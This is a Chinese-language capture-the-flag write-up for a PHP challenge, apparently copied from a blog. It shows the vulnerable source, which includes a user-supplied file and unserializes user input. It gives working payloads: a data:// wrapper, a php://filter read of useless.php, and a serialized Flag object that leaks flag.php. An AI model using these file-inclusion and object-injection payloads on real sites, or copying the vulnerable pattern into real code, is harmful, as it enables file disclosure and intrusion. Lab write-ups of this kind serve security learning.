<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,‘r‘)==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,‘r‘)."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
Url传三个参数,text,file,pwd,分别进行匹配,所以payload将由三部分组成
1.if(isset($text)&&(file_get_contents($text,‘r‘)==="welcome to the zjctf"))
读取变量$text并存储为字符串,与"welcome to the zjctf"进行匹配 “===” 要求三等号两边的值与类型都相等
使用data://数据流封装协议
payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
审查代码可知,不可直接包含flag.php,注释提示包含useless.php文件,利用php://filter协议读取这个useless.php
Payload:
file=php://filter/read=convert.base64-encode/resource=useless.php
将读到的文件内容解密,useless.php源码如下:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
useless.php文件中是一个flag类,题目中
$password = unserialize($password);
所以我们只要让传入的$password值反序列化后的值等于flag.php即可。
最终Payload
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
原文:https://www.cnblogs.com/Stunmaker/p/14636381.html